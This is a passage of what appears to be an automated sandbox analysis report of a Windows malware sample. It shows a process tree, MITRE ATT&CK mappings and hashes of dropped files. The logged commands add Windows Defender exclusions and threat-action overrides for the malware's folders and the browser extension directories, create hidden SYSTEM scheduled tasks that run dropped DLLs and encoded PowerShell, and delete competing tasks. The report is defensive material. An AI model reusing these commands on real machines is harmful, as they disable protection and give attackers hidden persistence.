    PID:3832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1016
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IoUUfMARU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IoUUfMARU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RIHWGRtePcuCC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RIHWGRtePcuCC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WMjoSXpldHUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WMjoSXpldHUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wTRjFoTZBCJU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wTRjFoTZBCJU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rTdziwAjbNKoPfVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rTdziwAjbNKoPfVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\eSOZWZDUdrKNnAzwp\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\eSOZWZDUdrKNnAzwp\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\vdhvTsfwAqXgftfw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\vdhvTsfwAqXgftfw\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1256
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2080
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IoUUfMARU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IoUUfMARU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RIHWGRtePcuCC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RIHWGRtePcuCC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WMjoSXpldHUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WMjoSXpldHUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wTRjFoTZBCJU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wTRjFoTZBCJU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rTdziwAjbNKoPfVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rTdziwAjbNKoPfVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2540
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\eSOZWZDUdrKNnAzwp /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\eSOZWZDUdrKNnAzwp /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\vdhvTsfwAqXgftfw /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\vdhvTsfwAqXgftfw /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1392
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gBoEmYBvW" /SC once /ST 07:08:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:1300
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gBoEmYBvW"
  2⤵
  PID:872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gBoEmYBvW"
  2⤵
  PID:1900
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "hWqdjQCIoDLMTBcqx"
  2⤵
  PID:1544
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "hWqdjQCIoDLMTBcqx"
  2⤵
  PID:3016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "hWqdjQCIoDLMTBcqx2"
  2⤵
  PID:4904
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "hWqdjQCIoDLMTBcqx2"
  2⤵
  PID:1252
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "vsQjgsqZuIRlSGKKh"
  2⤵
  PID:4600
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "vsQjgsqZuIRlSGKKh"
  2⤵
  PID:2172
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "vsQjgsqZuIRlSGKKh2"
  2⤵
  PID:3528
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "vsQjgsqZuIRlSGKKh2"
  2⤵
  PID:4568
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "grVEaaAYxgSQGwQZCfp"
  2⤵
  PID:1664
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "grVEaaAYxgSQGwQZCfp"
  2⤵
  PID:1740
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "grVEaaAYxgSQGwQZCfp2"
  2⤵
  PID:2792
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "grVEaaAYxgSQGwQZCfp2"
  2⤵
  PID:4724
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YbIxkAIDUApkAksVJAs"
  2⤵
  PID:1256
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YbIxkAIDUApkAksVJAs"
  2⤵
  PID:1572
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YbIxkAIDUApkAksVJAs2"
  2⤵
  PID:5032
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YbIxkAIDUApkAksVJAs2"
  2⤵
  PID:4532
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\IoUUfMARU\fLTOyS.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wxEqGNSYgejnnxk" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3444
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "BQRepnFPzvLHZXf"
  2⤵
  PID:1620
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "BQRepnFPzvLHZXf"
  2⤵
  PID:1312
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "BQRepnFPzvLHZXf2"
  2⤵
  PID:2912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "BQRepnFPzvLHZXf2"
  2⤵
  PID:3884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "uHQYMITfGhLSMd"
  2⤵
  PID:1616
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "uHQYMITfGhLSMd"
  2⤵
  PID:4024
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "tmgmmvNyEjesT"
  2⤵
  PID:4088
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "tmgmmvNyEjesT"
  2⤵
  PID:3668
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "tmgmmvNyEjesT2"
  2⤵
  PID:4672
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "tmgmmvNyEjesT2"
  2⤵
  PID:3692
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "wxEqGNSYgejnnxk2" /F /xml "C:\Program Files (x86)\IoUUfMARU\plrzYHc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3276
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "wxEqGNSYgejnnxk"
  2⤵
  PID:1888
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "wxEqGNSYgejnnxk"
  2⤵
  PID:4912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "HqFTmtIXgwfNQo" /F /xml "C:\Program Files (x86)\wTRjFoTZBCJU2\DDqateg.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YXnXKZMaQpNiQ2" /F /xml "C:\ProgramData\rTdziwAjbNKoPfVB\FtJmOjf.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1964
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "vsQjgsqZuIRlSGKKh2" /F /xml "C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\OCnjsEE.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2076
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YbIxkAIDUApkAksVJAs2" /F /xml "C:\Program Files (x86)\RIHWGRtePcuCC\vRUcRev.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4392
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1668 -s 1856
  2⤵
  - Program crash
  PID:4528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1892
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:812

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1668 -ip 1668
1⤵
PID:528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OCnjsEE.xml

Path C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\OCnjsEE.xml
Size 2KB
SHA256 049747a438bc67e2f0707b909b306d6b16c85aaea348a09968f580744dd9374f
MD5 9a9c4536c834bbe11aee6164c3483ebd
SHA1 fd28a848d23e101f24f5f842cacc8989510fe090
SHA512 d4fc367294985029e327929c43c0d72510e7b6f83a6d1bb67a10853ac05916b32437e282aaf00d5dde8dfadd68048063f9d7c97611f34de0637780303724579a
MD5 SHA1 SHA512

Submit Download

plrzYHc.xml

Path C:\Program Files (x86)\IoUUfMARU\plrzYHc.xml
Size 2KB
SHA256 8d6dedbfeebfe2441a3ff8d54a9b3ed6b8875912fc977b5a1a6fe58678d1a287
MD5 95266194707fa4209d50289ad67f54ae
SHA1 5029166cbc6bcc3301f91fa28a4d1b16aa794f75
SHA512 f2dd3e4da90a71013a0332750f2a6d7a36a13163c7985cebd300749d7f49afb483b07f96f33a9685cbf3188eb7576e5a87fc5d08f37697a42bf014db925231b3
MD5 SHA1 SHA512

Submit Download

vRUcRev.xml

Path C:\Program Files (x86)\RIHWGRtePcuCC\vRUcRev.xml
Size 2KB
SHA256 a765fd8208b1321ae394fa79e5b05bbf53310ccc25802595a63038c31c633512
MD5 19b355af11f0398d9cc6d5e4c211dd64
SHA1 be6de5858ab08aa3da1f2c581f1eb04f79ea4b8c
SHA512 5b86c168c63159675c1db656bb45812ebac45827acd1e0cfdde484d536e5b0c45dd59e77ed4d3d96ca956b62aa0029a73d2882eab782e1be20c7488d72431569
MD5 SHA1 SHA512

Submit Download

DDqateg.xml

Path C:\Program Files (x86)\wTRjFoTZBCJU2\DDqateg.xml
Size 2KB
SHA256 26cb6d98451698786fa81ae05b4171bfc99a241320115dff8a7ca1539b0c9667
MD5 bf98c29ae0c4dff04d2296fb2e46c411
SHA1 4df3e157ee399994ddf884968ab493f3f97a8121
SHA512 30d143ddc1dd0d8e33af4e25f712d1c713433ca508e51fae50041003fb78a66bc5cf7a217e18dc323478b99e16c65cb40a60130c17754a79a87fea80cc4b994a
MD5 SHA1 SHA512

Submit Download

{52889446-F452-4BAF-8C29-14E0A65A796E}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{52889446-F452-4BAF-8C29-14E0A65A796E}.xpi
Size 2.0MB
SHA256 ac32a0a141abedaf1dd91b885c07c3027a7de5d7a690b8ae0c35469bd08c16c4
MD5 8a3c2b8b84a2b08ac98557c642cb5716
SHA1 d783a6440307da0487c42d7acd9199ef9d8c8dc3
SHA512 140b2837549af41f7f0980aeda25db5a4e5b522760713f5a1a8d4a4cf55c537aa172a12df24c43016491193c1c01696d9678978ed2535cd346ed87819259491a
SSDEEP 12288:VOxBU6d7f+tvFjPPAcT1MfkjGJhOGHYFv7F0tdSvgCwk932Q2RcFoRGcPfNya8fY:TxQsK/fxptOQxxXojGs3Jtkr
MD5 SHA1 SHA512 SSDEEP

Submit Download

FtJmOjf.xml

Path C:\ProgramData\rTdziwAjbNKoPfVB\FtJmOjf.xml
Size 2KB
SHA256 447543a8cdd455946ab9f9ca0aa6a21f383823c99214e7c8b93c3aeb22eef0ad
MD5 bcbb50da69a8106d43e414b20dd63f02
SHA1 7633da303c8dd44a891843649c971f3790b9acff
SHA512 475326cd3b55564f3eceb0b7bac2fe02a48e9ce634ebcf182baa0119de066e6205544dc87213eb5ce8f4c19ddb33735da74a2ddae629baf7e1570c75d96e4157
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fljifmimijgpmpmljdnnahbaifjkhljd\1.0.0_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fljifmimijgpmpmljdnnahbaifjkhljd\1.0.0_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fljifmimijgpmpmljdnnahbaifjkhljd\1.0.0_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 d9b0487d691db78540ce5bf46444663094a7c62b64f8f74e236e3e27891d0109
MD5 272d1483dbc45df197175dce5b4144e8
SHA1 ba9541b646946c666da35919a4544b26a18e6d35
SHA512 f0766969f056ff89cb913316ad03774ab94017e8c280e2aff44ee41ae9792f2cd2a515062e179366fed9a9178c8de6b1e0a6fcc64a47e34da175cfab871d0bc2
SSDEEP 192:gSzJkqGuZqFDROLl9dSjWukfVEO9teOg4X:gSEFQB8kfaO9teOt
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
MD5 def65711d78669d7f8e69313be4acf2e
SHA1 6522ebf1de09eeb981e270bd95114bc69a49cda6
SHA512 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\kkjnchbaeacfnolhljdnfimhjklhiffh\2.0_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 65e8d790a5c9cd213cfd56072206d62a65c1307023a45d26fd07885004790944
MD5 4b2c576e3c44ae94e301aa2bd98e64d5
SHA1 e204a123cd8912f5f59683862c5303228f0d7c53
SHA512 937a5bd9311692aee2dccb0416a3227a60c7581bfcb31c59a8c0fac9b085e29134a8ac37904b853d2b9eb4825842ac68b248c3f2e637a5972a6de7767efd251d
SSDEEP 384:7rf+2WT9i+dgyu6LoBBim6GnAIS4eTVK6seYpME/N03SoZ6fYSg+jEkd:vfKtgylYo+Af3TVNKrWS1WMEkd
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 b12a43384b0ab59d4751709eed5df39feec313563c4ed48a7037162606b4a76a
MD5 a4a02a1ba2ab87d212055002b5e1d2b1
SHA1 854ce28ae07cc026b277258635a2b56be41b37bc
SHA512 4c8ef27c288e4827a89ad6d74ce539840515a947a025ff1b0a66c35b7bb0dcb8c065c7e80d2f0be5851fff798515b51276366b7d37244ca44359cf4b5ad85af2
SSDEEP 192:Hnrf+A9918xak2D0mpeqX0pJzp6wo9utfHyA4OsBLdxYtLIJbKvmBiFjlHof9/SG:Hrf+A9918xZXmfX0pJzbo4ABNY1ItKup
